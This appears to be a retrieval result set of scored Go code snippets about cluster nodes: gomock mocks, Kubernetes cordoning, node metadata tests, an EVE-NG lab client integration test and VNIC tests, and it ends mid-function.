"docid": "4e87e2567075a02f1f5c4194b1bc39e1", "score": "0.55203956", "text": "func (m *MockK8SClient) GetNode(arg0, arg1 string) (string, error) {\n\tret := m.ctrl.Call(m, \"GetNode\", arg0, arg1)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "038c76c2dac98a6df27b20c9cbd1606b", "score": "0.5459964", "text": "func (r *Resource) cordon(ctx context.Context,\n\tawsCluster infrastructurev1alpha3.AWSCluster,\n\tshutdownHelper drain.Helper,\n\tnode v1.Node, typeOfNode string) error {\n\n\t// Signal that we started cordoning the node\n\tr.logger.LogCtx(ctx, \"level\", \"info\", \"message\", \"cordoning tenant cluster node\")\n\n\t// Cordon the node\n\tif err := drain.RunCordonOrUncordon(&shutdownHelper, &node, true); err != nil {\n\t\tr.logger.LogCtx(ctx, \"level\", \"error\", \"message\", fmt.Sprintf(\"failed to cordon %s node with error %s\", typeOfNode, err))\n\t\tr.event.Warn(ctx, &awsCluster, \"CordoningFailed\", fmt.Sprintf(\"failed to cordon %s node %s with error %s\", typeOfNode, node.GetName(), err))\n\t\treturn err\n\t}\n\n\t// Log the node as cordoned\n\tr.logger.LogCtx(ctx, \"level\", \"debug\", \"message\", fmt.Sprintf(\"cordoned %s node\", typeOfNode))\n\treturn nil\n}", "title": "" }, { "docid": "3f6004395ebe32316773e1ba1d89cd2e", "score": "0.54364604", "text": "func TestNewNodeCommand(t *testing.T) {\n\n\toptions := &Options{\n\t\tUrl: \"soaps\",\n\t}\n\n\t//assert object creation is correct\n\tc := NewNodeCommand(options)\n\ttests.Assert(t, c.options == options)\n\ttests.Assert(t, c.name == \"node\")\n\ttests.Assert(t, c.flags != nil)\n\ttests.Assert(t, len(c.cmds) == 3)\n}", "title": "" }, { "docid": "efe93fda6cd9e67d6b4e5aaefdab40f0", "score": "0.54278046", "text": "func TestConnectRPCNode(t *testing.T) {\n\tclient, v, err := ConnectRPCNode(host, rpcUser, rpcPassword, \"\", true)\n\tt.Run(\"TestConnectRPCNode\", func(t *testing.T) {\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Expected error to be nil but found %v\", err)\n\t\t}\n\n\t\tif v == nil {\n\t\t\tt.Fatal(\"Expected the RPC JSON version not to be nil but it was nil.\")\n\t\t}\n\n\t\tif client == nil {\n\t\t\tt.Fatal(\"Expected the client not to be nil but it was nil.\")\n\t\t}\n\t})\n}", "title": "" }, { "docid": "12d1ce74889c6b89223e0b9b0ed1cdf5", "score": "0.54122806", "text": "func (m *mNodeKeeperMockGetWorkingNode) Expect(p insolar.Reference) *mNodeKeeperMockGetWorkingNode {\n\tm.mock.GetWorkingNodeFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &NodeKeeperMockGetWorkingNodeExpectation{}\n\t}\n\tm.mainExpectation.input = &NodeKeeperMockGetWorkingNodeInput{p}\n\treturn m\n}", "title": "" }, { "docid": "93865a7f8f82d8bb2c3d7e3154647116", "score": "0.54052943", "text": "func TestNodes(t *testing.T) {\n\tcount++\n\tlog.AuctaLogger.Infof(\"Iteration %v, %v\", count, time.Now().Format(timeFormat))\n\tmayRun(t, \"nodes\", func(t *testing.T) {\n\t\tmayRun(t, \"getNodeList\", getNodes)\n\t\tmayRun(t, \"getSecKeys\", getSecKeys)\n\t\tmayRun(t, \"updateSecurityKey\", updateSecurityKey_MaaS)\n\t\tmayRun(t, \"addInvaders\", addClusterHeads)\n\t\tmayRun(t, \"addBrownfieldNodes\", addBrownfieldServers)\n\t\tmayRun(t, \"configServerInterfaces\", configServerInterfaces)\n\t\tmayRun(t, \"updateBmcInfo\", updateBmcInfo)\n\t})\n}", "title": "" }, { "docid": "1d051ac4542672b8166164bfd5c1e635", "score": "0.5402479", "text": "func testNodeMetadata(t *testing.T) {\n\ttc, err := NewTestContext()\n\trequire.NoError(t, err)\n\toperatorVersion, err := getWMCOVersion()\n\trequire.NoError(t, err, \"could not get WMCO version\")\n\n\tclusterKubeletVersion, err := tc.getClusterKubeVersion()\n\trequire.NoError(t, err, \"could not get cluster kube version\")\n\n\tpubKey, err := tc.getExpectedPublicKey()\n\trequire.NoError(t, err, \"error getting the expected public key\")\n\tpubKeyAnnotation := nc.CreatePubKeyHashAnnotation(pubKey)\n\n\tfor _, node := range gc.nodes {\n\t\tt.Run(node.GetName()+\" Validation Tests\", func(t *testing.T) {\n\t\t\tt.Run(\"Kubelet Version\", func(t *testing.T) {\n\t\t\t\tisValidVersion := strings.HasPrefix(node.Status.NodeInfo.KubeletVersion, clusterKubeletVersion)\n\t\t\t\tassert.True(t, isValidVersion,\n\t\t\t\t\t\"expected kubelet version %s was not present on %s. Found %s\", clusterKubeletVersion,\n\t\t\t\t\tnode.GetName(), node.Status.NodeInfo.KubeletVersion)\n\t\t\t})\n\t\t\t// The worker label is not actually added by WMCO however we would like to validate if the Machine Api is\n\t\t\t// properly adding the worker label, if it was specified in the MachineSet. The MachineSet created in the\n\t\t\t// test suite has the worker label\n\t\t\tt.Run(\"Worker Label\", func(t *testing.T) {\n\t\t\t\tassert.Contains(t, node.Labels, nc.WorkerLabel, \"expected node label %s was not present on %s\",\n\t\t\t\t\tnc.WorkerLabel, node.GetName())\n\t\t\t})\n\t\t\tt.Run(\"Version Annotation\", func(t *testing.T) {\n\t\t\t\trequire.Containsf(t, node.Annotations, nc.VersionAnnotation, \"node %s missing version annotation\",\n\t\t\t\t\tnode.GetName())\n\t\t\t\tassert.Equal(t, operatorVersion, node.Annotations[nc.VersionAnnotation],\n\t\t\t\t\t\"WMCO version annotation mismatch\")\n\t\t\t})\n\t\t\tt.Run(\"Public Key Annotation\", func(t *testing.T) {\n\t\t\t\trequire.Containsf(t, node.Annotations, nc.PubKeyHashAnnotation, \"node %s missing public key annotation\",\n\t\t\t\t\tnode.GetName())\n\t\t\t\tassert.Equal(t, pubKeyAnnotation, node.Annotations[nc.PubKeyHashAnnotation],\n\t\t\t\t\t\"public key annotation mismatch\")\n\t\t\t})\n\t\t})\n\t}\n\tt.Run(\"Windows node metadata not applied to Linux nodes\", func(t *testing.T) {\n\t\tnodes, err := tc.client.K8s.CoreV1().Nodes().List(context.TODO(), meta.ListOptions{\n\t\t\tLabelSelector: core.LabelOSStable + \"=linux\"})\n\t\trequire.NoError(t, err, \"error listing Linux nodes\")\n\t\tfor _, node := range nodes.Items {\n\t\t\tassert.NotContainsf(t, node.Annotations, nc.VersionAnnotation,\n\t\t\t\t\"version annotation applied to Linux node %s\", node.GetName())\n\t\t\tassert.NotContainsf(t, node.Annotations, nc.PubKeyHashAnnotation,\n\t\t\t\t\"public key annotation applied to Linux node %s\", node.GetName())\n\t\t}\n\t})\n}", "title": "" }, { "docid": "8f5ee87ef25ff727749923c90d0a2d71", "score": "0.5390242", "text": "func (m *MockCluster) NodeID(arg0 int64) {\n\tm.ctrl.Call(m, \"NodeID\", arg0)\n}", "title": "" }, { "docid": "5f356f87fb89e17a276a58ff7fc2a35e", "score": "0.53853333", "text": "func (m *MockNodeEventHandler) GenericNode(obj *v1.Node) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GenericNode\", obj)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "543c700635d34b946c7fadbcf4ab4759", "score": "0.5373892", "text": "func (m *MockOrchestrator) UpdateNode(arg0 context.Context, arg1 string, arg2 *utils.NodePublicationStateFlags) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateNode\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "4a8372ea36c750de7096c5da6834ec6e", "score": "0.53454", "text": "func (m *mJetCoordinatorMockGetActiveNodes) Expect(p core.PulseNumber) *mJetCoordinatorMockGetActiveNodes {\n\tm.mock.GetActiveNodesFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &JetCoordinatorMockGetActiveNodesExpectation{}\n\t}\n\tm.mainExpectation.input = &JetCoordinatorMockGetActiveNodesInput{p}\n\treturn m\n}", "title": "" }, { "docid": "62bcd98fbeae192f530e7de212f65703", "score": "0.5342549", "text": "func (m *MockOrchestrator) ListNodes(arg0 context.Context) ([]*utils.NodeExternal, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ListNodes\", arg0)\n\tret0, _ := ret[0].([]*utils.NodeExternal)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "0be12f65791f221fc796e9650411b63a", "score": "0.53359675", "text": "func testNode(t *testing.T, node, parent *onet.TreeNode, tree *onet.Tree) {\n\tif node.Parent != parent {\n\t\tt.Fatal(\"a node has not the right parent in the field \\\"parent\\\"\")\n\t}\n\taddr, _ := tree.Roster.Search(node.ServerIdentity.ID)\n\tif addr == -1 {\n\t\tt.Fatal(\"a node in the tree is runing on a server that is not in the tree's roster\")\n\t}\n}", "title": "" }, { "docid": "6cf93fe043afd5d03203a29cda8dd53e", "score": "0.5328427", "text": "func MockTestClient(port string) {\n\tc, err := rpc.Dial(\"tcp\", \"127.0.0.1:\" + port)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tvar result bool\n\targs := StringPairArgs{\"a\", \"b\"}\n\terr = c.Call(\"Server.Add\", args, &result)\n\tif !result {\n\t\tfmt.Println(\"Expected MockTestClient to get True\")\n\t}\n\n\tvar searchResult SearchQueryResponse\n\terr = c.Call(\"Server.Search\", \"a\" ,&searchResult)\n\tif searchResult.Second != \"b\" {\n\t\tfmt.Println(\"Expected to find \")\n\t}\n\n\terr = c.Call(\"Server.Remove\", \"a\", &result)\n\tif !result {\n\t\tfmt.Println(\"Expected to remove successfully\")\n\t}\n}", "title": "" }, { "docid": "cc5858ee70adc2de5a71ddd6bd124fd1", "score": "0.5327424", "text": "func (m *MockUniversalClient) Process(arg0 redis.Cmder) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Process\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "1fb1038a645dbe952581cc9ca68f01fd", "score": "0.5322243", "text": "func Test_Racing(t *testing.T){\n\t// 服务器地址列表\n\tservers := []string{\"0.0.0.0:2181\", \"0.0.0.0:2182\", \"0.0.0.0:2183\"}\n\tclient, err := NewClient(servers, \"/api\", 10)\n\tif err != nil {\n\t\tt.Errorf(\"new client failed\");\n\t}\n\tdefer client.Close()\n\tnode1 := &ServiceNode{\"user\", \"127.0.0.1\", 4000,\"slave1\"}\n\tnode2 := &ServiceNode{\"user\", \"127.0.0.1\", 4001,\"slave2\"}\n\tnode3 := &ServiceNode{\"user\", \"127.0.0.1\", 4002,\"slave3\"}\n\tif err := client.TryPrimary(node1); err != nil {\n\t\tt.Errorf(\"register failed\")\n\t}\n\tif err := client.TryPrimary(node2); err == nil {\n\t\tt.Errorf(\"the second should fail\")\n\t}else {\n\t\tfmt.Println(err.Error())\n\t}\n\n\tif err := client.TryPrimary(node3); err == nil {\n\t\tt.Errorf(\"the third should fail\")\n\t}else {\n\t\tfmt.Println(err.Error())\n\t}\n\n\tnodes, err := client.GetNodes(\"user\")\n\tif err != nil {\n\t\tt.Errorf(\"get node failed\")\n\t}\n\tif len(nodes) != 1 || nodes[0].Port != 4000 {\n\t\tt.Errorf(\"nodes info incorrect %v\",nodes)\n\t}\n}", "title": "" }, { "docid": "4e88c06b0166b4a07bbbaed7f1a87e76", "score": "0.5287966", "text": "func NewNode(t mockConstructorTestingTNewNode) *Node {\n\tmock := &Node{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { "docid": "4e88c06b0166b4a07bbbaed7f1a87e76", "score": "0.5287966", "text": "func NewNode(t mockConstructorTestingTNewNode) *Node {\n\tmock := &Node{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { "docid": "2fe147f016c13ba8426f27c00f5a5048", "score": "0.528411", "text": "func TestNodeService(t testing.T) *NodeService {\n\treturn &NodeService{\n\t\tKind: ServiceKindTypical,\n\t\tService: \"web\",\n\t\tPort: 8080,\n\t}\n}", "title": "" }, { "docid": "ddb61747b03dcb490f364f2cc335f5ae", "score": "0.527669", "text": "func TestNodeDeltaHandler(t *testing.T) {\n\td := NewDocument()\n\tc := &MockConn{ReadChan: make(chan Message), WriteChan: make(chan Message)}\n\td.AddNode(c)\n\t// send message to the mock connection\n\tm := InMsg{Index: 1, Op: Operation{0, \"h\", 0}, LastIndex: 0}\n\tb, _ := json.Marshal(m)\n\tc.WriteMessage(1, b)\n\ttime.Sleep(1 * time.Second)\n\n}", "title": "" }, { "docid": "c10172d5a3168dcb38e6ace4527698c7", "score": "0.5276011", "text": "func init() {\n\tregister.Register(&register.Test{\n\t\tRun: ostreeBasicTest,\n\t\tClusterSize: 1,\n\t\tName: \"ostree.basic\",\n\t\tDistros: []string{\"rhcos\"},\n\t\tFailFast: true,\n\t})\n\n\tregister.Register(&register.Test{\n\t\tRun: ostreeRemoteTest,\n\t\tClusterSize: 1,\n\t\tName: \"ostree.remote\",\n\t\tDistros: []string{\"rhcos\", \"fcos\"},\n\t\tFlags: []register.Flag{register.RequiresInternetAccess}, // need network to contact remote\n\t\tFailFast: true,\n\t})\n}", "title": "" }, { "docid": "4eed97a97f18a567175aa067bd661f53", "score": "0.52685845", "text": "func TestEveNgClient_Nodes(t *testing.T) {\n\teveNgClient, err := NewEveNgClient(viper.GetString(\"BaseURL\"))\n\tif !assert.NoError(t, err, \"Error while creating API client\") {\n\t\treturn\n\t}\n\n\terr = eveNgClient.SetUsernameAndPassword(viper.GetString(\"Username\"), viper.GetString(\"Password\"))\n\tif !assert.NoError(t, err, \"Error while setting username and password\") {\n\t\treturn\n\t}\n\n\terr = eveNgClient.Login()\n\tif !assert.NoError(t, err, \"Error during login\") {\n\t\treturn\n\t}\n\tdefer func() {\n\t\terr = eveNgClient.Logout()\n\t\tif !assert.NoError(t, err, \"Error during logout\") {\n\t\t\treturn\n\t\t}\n\t}()\n\n\t//Add a new lab\n\tlabFolder := \"\"\n\tlabName := \"NodeTesting\"\n\tlabPath := labName + \".unl\"\n\terr = eveNgClient.AddLab(labFolder, labName, \"1\", \"admin\", \"A test laboratory\", \"Test laboratory for unit and integration tests\")\n\tdefer func() {\n\t\terr = eveNgClient.RemoveLab(labPath)\n\t}()\n\n\t//Add a network to the lab\n\tnetworkID, err := eveNgClient.AddNetwork(labPath, \"nat0\", \"TestNetwork\", 69, 420, 1, 0)\n\tdefer func() {\n\t\tlabNetworks, _ := eveNgClient.GetNetworks(labPath)\n\t\tfor _, labNetwork := range labNetworks {\n\t\t\terr = eveNgClient.RemoveNetwork(labPath, labNetwork.ID)\n\t\t}\n\t}()\n\n\t//Add nodes to the lab\n\tfoundNodes := 0\n\n\tnodeID, err := eveNgClient.AddNode(labPath, \"qemu\", \"asav\", \"0\", 0, \"ASA.png\", \"asav-952-204\", \"ASAv\", 404, 227, 2048, \"telnet\", 1, \"undefined\", 8, \"\", \"\", \"\", \"\", 1)\n\tif assert.NoError(t, err, \"Error during AddLabNode operation\") {\n\t\tlabNodesBeforeRemove, err := eveNgClient.GetNodes(labPath)\n\t\tfoundNodes = len(labNodesBeforeRemove)\n\t\tif assert.NoError(t, err, \"Error during GetLabNodes operation\") {\n\t\t\tif assert.True(t, len(labNodesBeforeRemove) > 0, \"No lab nodes found during GetLabNodes operation\") {\n\t\t\t\tfor _, labNode := range labNodesBeforeRemove {\n\t\t\t\t\tlabNodeDetails, err := eveNgClient.GetNode(labPath, labNode.ID)\n\t\t\t\t\tif assert.NoError(t, err, \"Error during GetLabNode operation\") {\n\t\t\t\t\t\tassert.NotEmpty(t, labNodeDetails.UUID, \"Node uuid does is empty\")\n\t\t\t\t\t\tassert.Equal(t, \"ASAv\", labNodeDetails.Name, \"Node name does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"qemu\", labNodeDetails.Type, \"Node type does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 0, labNodeDetails.Status, \"Node status does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"asav\", labNodeDetails.Template, \"Node template does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 1, labNodeDetails.CPU, \"Node cpu does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 2048, labNodeDetails.RAM, \"Node ram does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"asav-952-204\", labNodeDetails.Image, \"Node image does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"telnet\", labNodeDetails.Console, \"Node console does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 8, labNodeDetails.Ethernet, \"Node ethernet does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 0, labNodeDetails.Delay, \"Node Delay does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"ASA.png\", labNodeDetails.Icon, \"Node icon does not match expected value\")\n\t\t\t\t\t\tassert.NotEmpty(t, labNodeDetails.URL, \"Node url is empty\")\n\t\t\t\t\t\tassert.Equal(t, 227, labNodeDetails.Top, \"Node top does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, 404, labNodeDetails.Left, \"Node left does not match expected value\")\n\t\t\t\t\t\tassert.Equal(t, \"0\", labNodeDetails.Config, \"Node Config does not match expected value\")\n\t\t\t\t\t\tassert.NotEmpty(t, labNodeDetails.Firstmac, \"Node firstmac is empty\")\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tdefer func() {\n\t\terr = eveNgClient.RemoveNode(labPath, nodeID)\n\t\tif assert.NoError(t, err, \"Error during RemoveLabNode operation\") {\n\t\t\tlabNodesAfterRemove, err := eveNgClient.GetNodes(labPath)\n\t\t\tif assert.NoError(t, err, \"Error during GetLabFiles operation\") {\n\t\t\t\tassert.Less(t, len(labNodesAfterRemove), foundNodes, \"Node has not been removed correctly\")\n\t\t\t}\n\t\t}\n\t}()\n\n\t//Start single node\n\terr = eveNgClient.StartNode(labPath, nodeID)\n\tif assert.NoError(t, err, \"Error during StartLabNode operation\") {\n\t\tlabNode, err := eveNgClient.GetNode(labPath, nodeID)\n\t\tif assert.NoError(t, err, \"Error during GetLabNode operation\") {\n\t\t\tassert.Equal(t, 2, labNode.Status, \"Starting LabNode didn't work\")\n\t\t}\n\t}\n\n\t//Stop single node\n\terr = eveNgClient.StopNode(labPath, nodeID)\n\tif assert.NoError(t, err, \"Error during StopLabNode operation\") {\n\t\tlabNode, err := eveNgClient.GetNode(labPath, nodeID)\n\t\tif assert.NoError(t, err, \"Error during GetLabNode operation\") {\n\t\t\tassert.Equal(t, 0, labNode.Status, \"Stopping LabNode didn't work\")\n\t\t}\n\t}\n\n\t//Start all nodes\n\terr = eveNgClient.StartNodes(labPath)\n\tif assert.NoError(t, err, \"Error during StartLabNodes operation\") {\n\t\tlabNodes, err := eveNgClient.GetNodes(labPath)\n\t\tif assert.NoError(t, err, \"Error during GetLabNodes operation\") {\n\t\t\tfor _, labNode := range labNodes {\n\t\t\t\tassert.Equal(t, 2, labNode.Status, \"Node \"+strconv.Itoa(labNode.ID)+\" wasn't started correctly\")\n\t\t\t}\n\t\t}\n\t}\n\tdefer func() {\n\t\t//Stop all nodes after execution\n\t\terr = eveNgClient.StopNodes(labPath)\n\t\tif assert.NoError(t, err, \"Error during StopLabNodes operation\") {\n\t\t\tlabNodes, err := eveNgClient.GetNodes(labPath)\n\t\t\tif assert.NoError(t, err, \"Error during GetLabNodes operation\") {\n\t\t\t\tfor _, labNode := range labNodes {\n\t\t\t\t\tassert.Equal(t, 0, labNode.Status, \"Node \"+strconv.Itoa(labNode.ID)+\" wasn't stopped correctly\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\t//Connect node interface to network\n\terr = eveNgClient.ConnectNodeInterfaceToNetwork(labPath, nodeID, 1, networkID)\n\tif assert.NoError(t, err, \"Error during ConnectNodeInterfaceToNetwork operation\") {\n\t\tnodeInterfaces, err := eveNgClient.GetNodeInterfaces(labPath, nodeID)\n\t\tif assert.NoError(t, err, \"Error during GetNodeInterfaces operation\") {\n\t\t\tfor _, ethernetInterface := range nodeInterfaces.Ethernet {\n\t\t\t\tif ethernetInterface.Name == \"Eth1\" {\n\t\t\t\t\tassert.Equal(t, networkID, ethernetInterface.NetworkID, \"Network was not correctly added to NodeInterface\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tdefer func() {\n\t\t//Disconnect node from network\n\t\terr = eveNgClient.DisconnectNodeInterfaceFromNetwork(labPath, nodeID, 1)\n\t\tif assert.NoError(t, err, \"Error during DisconnectNodeInterfaceFromNetwork\") {\n\t\t\tnodeInterfaces, err := eveNgClient.GetNodeInterfaces(labPath, nodeID)\n\t\t\tif assert.NoError(t, err, \"Error during GetNodeInterfaces operation\") {\n\t\t\t\tfor _, ethernetInterface := range nodeInterfaces.Ethernet {\n\t\t\t\t\tif ethernetInterface.Name == \"Eth1\" {\n\t\t\t\t\t\tassert.Equal(t, nil, ethernetInterface.NetworkID, \"Network was not correctly added to NodeInterface\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\t//Get lab topology\n\tlabTopology, err := eveNgClient.GetTopology(labPath)\n\tif assert.NoError(t, err, \"Error during GetLabTopology operation\") {\n\t\tif assert.True(t, len(labTopology) > 0, \"No topologies found during GetLabTopology\") {\n\t\t\tfor _, topologyPoint := range labTopology {\n\t\t\t\tassert.NotEmpty(t, topologyPoint.Destination, \"Destination is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationLabel, \"DestinationLabel is nil\")\n\t\t\t\tassert.NotEmpty(t, topologyPoint.DestinationType, \"DestinationType is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationInterfaceID, \"DestinationInterfaceId is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationNodename, \"DestinationNodename is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationSuspend, \"DestinationSuspend is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationDelay, \"DestinationDelay is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationLoss, \"DestinationLoss is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationBandwidth, \"DestinationBandwidth is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.DestinationJitter, \"DestinationJitter is nil\")\n\t\t\t\tassert.NotEmpty(t, topologyPoint.Source, \"Source is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceLabel, \"SourceLabel is nil\")\n\t\t\t\tassert.NotEmpty(t, topologyPoint.SourceType, \"SourceType is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceNodename, \"SourceNodenam is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceInterfaceID, \"SourceInterfaceId is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceSuspend, \"SourceSuspend is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceDelay, \"SourceDelay is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceLoss, \"SourceLoss is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceBandwidth, \"SourceBandwidth is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.SourceJitter, \"SourceJitter is nil\")\n\t\t\t\tassert.NotEmpty(t, topologyPoint.Type, \"Type is empty\")\n\t\t\t\tassert.NotNil(t, topologyPoint.NetworkID, \"NetworkId is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.Style, \"Style is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.Linkstyle, \"Linkstyle is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.Label, \"Label is nil\")\n\t\t\t\tassert.NotNil(t, topologyPoint.Color, \"Color is nil\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "117c94df6c263d1b42d8004714929df1", "score": "0.5265787", "text": "func TestNN_Base(t *testing.T) {\n\tassert := assert.New(t)\n\tcn, err := cnTestInit()\n\trequire.Nil(t, err)\n\n\t//From YAML on instance init\n\tcnciMac, _ := net.ParseMAC(\"CA:FE:00:01:02:03\")\n\tcnciVnicCfg := &VnicConfig{\n\t\tVnicRole: DataCenter,\n\t\tVnicMAC: cnciMac,\n\t\tVnicID: \"vuuid\",\n\t\tInstanceID: \"iuuid\",\n\t\tTenantID: \"tuuid\",\n\t}\n\n\t// Create a VNIC\n\tvar cnciVnic1Name string\n\tcnciVnic, err := cn.CreateCnciVnic(cnciVnicCfg)\n\tif assert.Nil(err) {\n\t\tcnciVnic1Name = cnciVnic.LinkName\n\t}\n\n\tvar cnciVnic1DupName string\n\t// Try and create it again. Should return cached value\n\tcnciVnic, err = cn.CreateCnciVnic(cnciVnicCfg)\n\tif assert.Nil(err) {\n\t\tcnciVnic1DupName = cnciVnic.LinkName\n\t}\n\n\tassert.Equal(cnciVnic1Name, cnciVnic1DupName)\n\n\tcnciMac2, _ := net.ParseMAC(\"CA:FE:00:01:02:22\")\n\tcnciVnicCfg2 := &VnicConfig{\n\t\tVnicRole: DataCenter,\n\t\tVnicMAC: cnciMac2,\n\t\tVnicID: \"vuuid2\",\n\t\tInstanceID: \"iuuid2\",\n\t\tTenantID: \"tuuid2\",\n\t}\n\n\t// Create and destroy a second VNIC\n\t_, err = cn.CreateCnciVnic(cnciVnicCfg2)\n\tassert.Nil(err)\n\tassert.Nil(cn.DestroyCnciVnic(cnciVnicCfg2))\n\tassert.Nil(cn.DestroyCnciVnic(cnciVnicCfg))\n\n\t//Destroy again, it should work\n\tassert.Nil(cn.DestroyCnciVnic(cnciVnicCfg))\n}", "title": "" }, { "docid": "e3cd7268a2eb55523cd5e7e71f1fcb5e", "score": "0.5263753", "text": "func TestHttpJson_EmulatorsCustomMethods(t *testing.T) {\n\tb, err := startNewBroker(brokerConfig)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer b.Shutdown()\n\n\tc := httpJsonClient{port: b.Port()}\n\terr = c.awaitReady(2 * time.Second)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trealNoReg := proto.Clone(realEmulator).(*emulators.Emulator)\n\trealNoReg.StartCommand.Args = []string{\"--port={port:real}\"}\n\terr = c.createEmulator(realNoReg)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Start the emulator, and wait until it is ready to be reported online.\n\tdone := make(chan bool)\n\tgo func() {\n\t\terr = c.startEmulator(realNoReg.EmulatorId)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tdone <- true\n\t}()\n\terr = b.s.waitForStarting(realNoReg.EmulatorId, time.Now().Add(2*time.Second))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Report the emulator online.\n\treport := &emulators.ReportEmulatorOnlineRequest{\n\t\tEmulatorId: realNoReg.EmulatorId,\n\t\tResolvedHost: \"foo\"}\n\terr = c.reportEmulatorOnline(report)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tselect {\n\tcase <-time.After(5 * time.Second):\n\t\tt.Fatalf(\"Timed-out starting emulator!\")\n\tcase <-done:\n\t\tbreak\n\t}\n\temu, err := c.getEmulator(realNoReg.EmulatorId)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif emu.State != emulators.Emulator_ONLINE {\n\t\tt.Fatalf(\"Expected %v: %v\", emulators.Emulator_ONLINE, emu.State)\n\t}\n\n\t// Stop the emulator.\n\terr = c.stopEmulator(realNoReg.EmulatorId)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\temu, err = c.getEmulator(realNoReg.EmulatorId)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif emu.State != emulators.Emulator_OFFLINE {\n\t\tt.Fatalf(\"Expected %v: %v\", emulators.Emulator_OFFLINE, emu.State)\n\t}\n}", "title": "" }, { "docid": "ccb776d625023e5c980f490d15b71b14", "score": "0.5257384", "text": "func (m *mAccessorMockGetWorkingNode) Expect(p insolar.Reference) *mAccessorMockGetWorkingNode {\n\tm.mock.GetWorkingNodeFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &AccessorMockGetWorkingNodeExpectation{}\n\t}\n\tm.mainExpectation.input = &AccessorMockGetWorkingNodeInput{p}\n\treturn m\n}", "title": "" }, { "docid": "c2cdde38d78bcc9faab244133221225c", "score": "0.52437586", "text": "func TestClientConfig(t testing.T) (*Config, func()) {\n\tconf := DefaultConfig()\n\tconf.Node = mock.Node()\n\tconf.Logger = testlog.HCLogger(t)\n\n\t// On macOS, os.TempDir returns a symlinked path under /var which\n\t// is outside of the directories shared into the VM used for Docker.\n\t// Expand the symlink to get the real path in /private, which is ok.\n\tdirName := os.TempDir()\n\ttmpDir, err := filepath.EvalSymlinks(dirName)\n\tif err != nil {\n\t\tt.Fatalf(\"Could not resolve temporary directory links for %s: %v\", tmpDir, err)\n\t}\n\ttmpDir = filepath.Clean(tmpDir)\n\n\t// Create a tempdir to hold state and alloc subdirs\n\tparent, err := ioutil.TempDir(tmpDir, \"nomadtest\")\n\tif err != nil {\n\t\tt.Fatalf(\"error creating client dir: %v\", err)\n\t}\n\tcleanup := func() 